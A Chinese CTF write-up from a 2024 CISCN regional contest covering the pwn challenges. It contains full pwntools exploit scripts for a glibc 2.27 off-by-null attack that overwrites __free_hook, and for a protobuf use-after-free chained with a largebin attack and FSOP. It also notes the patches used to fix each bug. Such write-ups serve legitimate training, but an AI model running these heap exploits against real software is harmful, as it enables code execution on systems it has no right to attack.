得益于快枪手 全场pwn得分rank1
当然 比赛结果是🤡成分也rank1了
1.onebook
一道off-by-null的glibc菜单题 全场有30解的板子题
# fix
手慢了 三血 导致少吃一轮防御分 伏笔了
把edit部分的off-by-null部分nop掉即可
# break
二血 版本2.27,常规的低版本off-by-null操作,打free_hook
from pwn import *
p=remote('8.147.133.173',44514)
elf=ELF("./book")
libc=elf.libc
def debug():
gdb.attach(p)
pause()
context.log_level='debug'
def cmd(idx):
p.sendlineafter(b'(4) delete a book',str(idx))
def add(idx,size,cnt):
cmd(1)
p.sendlineafter(b'Index:',str(idx))
p.sendlineafter(b'Size:',str(size))
p.sendlineafter(b'Content:',cnt)
def show(idx):
cmd(2)
p.sendlineafter(b'Index:',str(idx))
def edit(idx,cnt):
cmd(3)
p.sendlineafter(b'ndex:',str(idx))
p.sendafter(b'Content:',cnt)
def delete(idx):
cmd(4)
p.sendlineafter(b'Index:',str(idx))
add(0,0x4f8,b'a')
add(1,0x38,b'b')
add(2,0x4f8,b'c')
add(3,0x38,b'/bin/sh')
delete(0)
edit(1,b'a'*0x30+p64(0x540))
delete(2)
add(0,0x4f8,b'a')
show(1)
p.recvline()
leak=u64(p.recv(6).ljust(8,b'x00'))-(0x71dee3febca0-0x71dee3c00000)
#
print(hex(leak))
add(4,0x38,b'd')
delete(4)
edit(1,p64(leak+libc.symbols['__free_hook']))
add(5,0x38,b'aa')
add(6,0x38,p64(leak+libc.symbols['system']))
p.interactive()
2.proc
不知道为什么又是一道protobuf😀。。
全场6解的板子题
# fix
洞是uaf,修的时候为了赶时间,直接把free nop掉了 没什么好说的 应该也可以在eh_frame段上操作
# break
pbtk识别不出来
根据这个也能写出来proto文件
syntax = "proto2";
package ctf;
message msg{
required bytes content = 3;
required int64 idx = 2;
required sint64 size = 1;
}
由此生成ctf_pb2.py文件
size应该是存在问题的 但比赛的时候就没改了 直接//2解决🤡
malloc size大小在largebin范围
然后就是uaf + largebinattack + fsop
脚本比较潦草和乱,也没想到他又出个这题,急着做,第5个才解出来
from pwn import *
import ctf_pb2
p=process('proc')
p=remote('39.106.48.123',38932)
elf=ELF("./proc")
libc=elf.libc
#libc=ELF('./libc-2.23.so')
def debug():
gdb.attach(p)
pause()
context.log_level='debug'
def cmd(idx):
p.sendafter(b'your choice: ',str(idx))
menu=b'5. exit'
def add(msgsize, msgcontent = b''):
d = ctf_pb2.msg()
d.idx = 0
d.size = msgsize//2
d.content = msgcontent
strs = d.SerializeToString()
p.sendafter(menu, strs)
cmd(1)
def delete(msgidx):
d = ctf_pb2.msg()
d.idx = msgidx
d.size = 0//2
d.content = b''
strs = d.SerializeToString()
p.sendafter(menu, strs)
cmd(3)
def show(msgidx):
d = ctf_pb2.msg()
d.idx = msgidx
d.size = 0//2
d.content = b''
strs = d.SerializeToString()
p.sendafter(menu, strs)
cmd(4)
def edit(msgidx, size,msgcontent):
d = ctf_pb2.msg()
d.idx = msgidx
d.size = size//2
d.content = msgcontent
strs = d.SerializeToString()
p.sendafter(menu, strs)
cmd(2)
add(0x540,b'aaa')#0
add(0x530,b'bbb')#1
delete(0)
show(0)
p.recvuntil(b'Content: ')
libc_base=u64(p.recv(6).ljust(8,b'x00'))-(0x00007f44c80bfbe0-0x7f44c7ed3000)
lock = libc_base+(0x7c0e66f2d7d0-0x7c0e66d3f000)
wfile = libc_base + libc.sym['_IO_wfile_jumps']
setcontext=libc_base+libc.symbols['setcontext']+61
io_all = libc_base + libc.sym['_IO_list_all']
print(hex(libc_base))
add(0x540,b'ccc')#2
add(0x460,b'ggg')#3
#delete(0)
add(0x550,b'ajsdbjabkjs') #4
add(0x460,b'hhh')#5
add(0x530,b'h')#6
delete(3)
delete(5)
show(5)
p.recvuntil(b'Content: ')
heap=u64(p.recv(6).ljust(8,b'x00'))-(0x00006207b8bf8d80-0x6207b8bf8000)
print(hex(heap))
heap+=0x58d7e5b8b100-0x58d7e5b89000
pl=b'a'*0x20+p64(0)*3 #2e0
pl+=p64(0)
pl+=p64(0)*7
pl+=p64(lock) #_lock
pl+=p64(0)*2
pl+=p64(heap + 0xe0)
pl+=p64(0)*6
pl+=p64(wfile) #__GI__IO_wfile_jumps
pl+=p64(0)*0x1c
pl+=p64(heap +0xe0+ 0xe8) #_IO_jump_t
pl+=p64(0)*0xd
pl+=p64(libc_base+0xe3b01)
add(0x530,pl)#7
delete(0)
add(0x550,b'aaaa')#8
edit(0,0x1f,p64(0)*3+p64(io_all-0x20))
delete(7)
add(0x550,b'kkkk')#9
p.interactive()
3.vm1337
# fix
二血,把输入指令0x100改成0x20,它脚本就打不进来了 ,也能过check
break的话比赛的时候时间不够了 也没兴趣再看了
4.godrouter
没资格啊没资格 是没北邮✌厉害导致的
总结
算是学pwn一个年头了 第一次打国赛分区赛 比较可惜吧 最后时刻被绝杀了 原8 9 10排名的战队刚好都在最后三轮各出一道题┭┮﹏┭┮ 只在场上当了5h59min59s的决赛战队
甚至最后时刻还被主办方邀请说去讲题😑
认识的nb师傅都进决赛了😢
从开局豪言壮语到半场开香槟 到最后算出被淘汰的命运 终究是无缘川大了😫 (明年再来😢 😍
Q.E.D.
原文始发于微信公众号(UKFC安全):UKFC2024 CISCN华北赛区pwn方向WP